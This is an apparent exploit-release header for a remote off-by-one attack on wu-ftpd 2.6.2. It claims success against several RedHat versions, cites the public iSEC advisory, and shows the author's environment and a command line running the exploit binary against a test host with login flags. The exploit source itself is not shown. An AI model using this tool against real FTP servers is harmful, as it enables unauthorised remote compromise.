I succeeded in RedHat Linux (x86) wu-2.6.2(1), 2.6.2(2), 2.6.1, 2.6.0. (Most version). This is never fake. Excellent Advisory was already announced (2003/07/31): http://isec.pl/vulnerabilities/isec-0011-wu-ftpd.txt This information was very useful to me. I'm thankful to them. This works well in my server. If don't work in your server ? Reason that don't work in other server is various kinds. (For example, compiler version, operating system kind, or, shellcode's position mistake, environment variable etc ...) I don't think about those. Exert your force. :-) INetCop Security is poor now. They have a few server. * Exploit result: -- bash$ cat /etc/redhat-release Red Hat Linux release 6.1 (Cartman) bash$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release) -- bash$ ./0x82-wu262 -htest.inetcop.org -ux82 -pmy_pass -n21 -t2 0x82-WOOoou~Happy_new - wu-ftpd v2.6.2 off-by-one remote exploit.
